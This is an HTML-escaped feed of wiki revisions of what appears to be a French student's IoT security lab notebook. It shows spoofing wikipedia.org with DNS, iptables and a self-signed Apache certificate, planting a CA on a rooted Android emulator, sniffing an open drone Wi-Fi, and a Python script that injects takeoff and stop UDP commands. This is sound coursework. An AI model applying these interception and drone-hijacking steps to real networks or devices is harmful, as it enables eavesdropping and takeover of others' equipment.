&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc  privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur  avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre &amp;lt;code&amp;gt;wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&amp;lt;/code&amp;gt; Il y a le flux unidirectionnel émis par le smartphone (&amp;lt;code&amp;gt;192.168.1.100&amp;lt;/code&amp;gt;) vers le drone (&amp;lt;code&amp;gt;192.168.1.1&amp;lt;/code&amp;gt;). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.&lt;br /&gt;
&lt;br /&gt;
Sur la trame sélectionnée (&amp;lt;code&amp;gt;03 66 80 80 ba 80 00 3a 99&amp;lt;/code&amp;gt;)  on peut identifier l'en-tête fixe (&amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;), les axes au neutre (&amp;lt;code&amp;gt;0x80&amp;lt;/code&amp;gt;), et la modification du '''4 ème octet''' (&amp;lt;code&amp;gt;0xC0&amp;lt;/code&amp;gt;) qui correspond l'instruction '''&amp;lt;nowiki/&amp;gt;'décoller''''&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;code&amp;gt;ping 192.168.1.1&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tentatives de control du drône ===&lt;br /&gt;
&lt;br /&gt;
==== Première tentative ====&lt;br /&gt;
Avec la capture de paquets sur wireshark la première tentative est de repérer les trames de commandes et d'après l'image au dessus j'ai fais ce script python pour pouvoir essayer de controler le drone en faisant une soustraction pour le Cheksum&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# SOCK_DGRAM = Protocole UDP&lt;br /&gt;
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;
&lt;br /&gt;
# STOP&lt;br /&gt;
# Tout est à 80 Checksum à 00&lt;br /&gt;
# Code : 03 66 80 80 80 80 00 00 99&lt;br /&gt;
cmd_stop = bytes.fromhex(&amp;quot;036680808080000099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# decoller&lt;br /&gt;
# 03 66 : Header&lt;br /&gt;
# 80    : Joystick Gauche&lt;br /&gt;
# C0    : Joystick Gauche&lt;br /&gt;
# 80    : Joystick Droit (Avancer)&lt;br /&gt;
# 80    : Joystick Droit&lt;br /&gt;
# 00    : Boutons&lt;br /&gt;
# 40    : Checksum (C0 - 80 = 40)&lt;br /&gt;
# 99    : Fin&lt;br /&gt;
cmd_decollage = bytes.fromhex(&amp;quot;036680c08080004099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# atterissage&lt;br /&gt;
cmd_baisse = bytes.fromhex(&amp;quot;036680008080008099&amp;quot;) # Coupe tout brutalement&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(&amp;quot;\ndemarage&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;decollage&amp;quot;)&lt;br /&gt;
    t_end = time.time() + 3&lt;br /&gt;
    while time.time() &amp;lt; t_end:&lt;br /&gt;
        client.sendto(cmd_decollage, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05) # 20fois/s&lt;br /&gt;
&lt;br /&gt;
    # arret&lt;br /&gt;
    print(&amp;quot;stop&amp;quot;)&lt;br /&gt;
    for i in range(20):&lt;br /&gt;
        client.sendto(cmd_stop, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11172</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11172"/>
		<updated>2026-01-13T14:33:24Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Résolutions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
